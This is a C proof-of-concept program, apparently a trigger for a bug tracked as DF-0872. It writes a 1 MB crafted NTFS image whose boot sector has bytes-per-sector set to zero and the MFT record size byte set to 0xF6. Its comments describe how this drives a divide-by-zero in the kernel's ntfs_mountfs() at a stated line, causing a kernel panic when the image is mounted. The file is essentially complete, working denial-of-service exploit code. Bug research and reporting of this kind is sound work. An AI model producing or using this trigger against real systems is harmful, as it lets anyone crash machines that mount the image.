DF-0872 / craft_ntfs.c
/* * DF-0872 trigger: crafted NTFS boot sector that drives a divide-by-zero * in ntfs_mountfs() at sys/vfs/ntfs/ntfs_vfsops.c:354 * * int8_t cpr = ntmp->ntm_mftrecsz; // bf_mftrecsz byte at offset 0x40 * if( cpr > 0 ) * ntmp->ntm_bpmftrec = ntmp->ntm_spc * cpr; * else * ntmp->ntm_bpmftrec = (1 << (-cpr)) / ntmp->ntm_bps; // bps==0 => #DE * * We craft a boot sector that: * - passes the strncmp(ntm_bootfile.bf_sysid, "NTFS ", 8) guard at :343 * - sets bf_bps (bytes-per-sector, u16 @ offset 0x0B) = 0 <-- divisor * - sets bf_mftrecsz (u8 @ offset 0x40) = 0xF6 (signed -10) <-- forces else branch * * => ntfs_mountfs reaches the division by zero and the CPU traps #DE * => non-resumable kernel trap => panic. * * Usage: ./craft_ntfs image.bin * The image is sized to 1 MB so vnconfig accepts it as a disk. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define IMG_SIZE (1024 * 1024) /* 1 MB - plenty for a boot-sector probe */ #define OFF_SYSID 0x03 #define OFF_BPS 0x0B #define OFF_SPC 0x0D #define OFF_MEDIA 0x15 #define OFF_SPV 0x28 #define OFF_MFTCN 0x30 #define OFF_MFTMIR 0x38 #define OFF_MFTREC 0x40 #define OFF_BOOTSIG 0x1FE int main(int argc, char **argv) { const char *out = (argc > 1) ? argv[1] : "ntfs_crafted.img"; uint8_t *img; FILE *f; img = calloc(1, IMG_SIZE); if (!img) { perror("calloc"); return 1; } /* jmp near + nop boot jump (cosmetic) */ img[0] = 0xEB; img[1] = 0x52; img[2] = 0x90; /* OEM id "NTFS " (8 bytes incl. trailing spaces) - passes the :343 strncmp */ memcpy(img + OFF_SYSID, "NTFS ", 8); /* bytes-per-sector = 0 ==> divide-by-zero divisor at ntfs_vfsops.c:354 */ img[OFF_BPS] = 0x00; img[OFF_BPS + 1] = 0x00; /* sectors-per-cluster = 8 (harmless, irrelevant since else-branch taken) */ img[OFF_SPC] = 8; /* media descriptor */ img[OFF_MEDIA] = 0xF8; /* sectors-per-volume (u64 LE) - non-zero, just to look plausible */ uint64_t spv = 0x0000FFFFFUL; memcpy(img + OFF_SPV, &spv, 8); /* $MFT cluster number and $MFTMirr cluster number - non-zero */ uint64_t mftcn = 0x04ULL, mftmir = 0x08ULL; memcpy(img + OFF_MFTCN, &mftcn, 8); memcpy(img + OFF_MFTMIR, &mftmir, 8); /* * MFT record size byte. * 0xF6 is the canonical "1 << 10 bytes per MFT record" value on real NTFS, * interpreted as int8_t == -10 here, which forces the else-branch: * ntm_bpmftrec = (1 << 10) / ntm_bps == 1024 / 0 => #DE */ img[OFF_MFTREC] = 0xF6; /* boot-sector signature 0x55 0xAA at offset 0x1FE */ img[OFF_BOOTSIG] = 0x55; img[OFF_BOOTSIG + 1] = 0xAA; f = fopen(out, "wb"); if (!f) { perror("fopen"); free(img); return 1; } if (fwrite(img, 1, IMG_SIZE, f) != IMG_SIZE) { perror("fwrite"); fclose(f); free(img); return 1; } fclose(f); free(img); printf("[+] crafted %s (bf_bps=0, bf_mftrecsz=0xF6 -> div#0 at ntfs_vfsops.c:354)\n", out); return 0; } |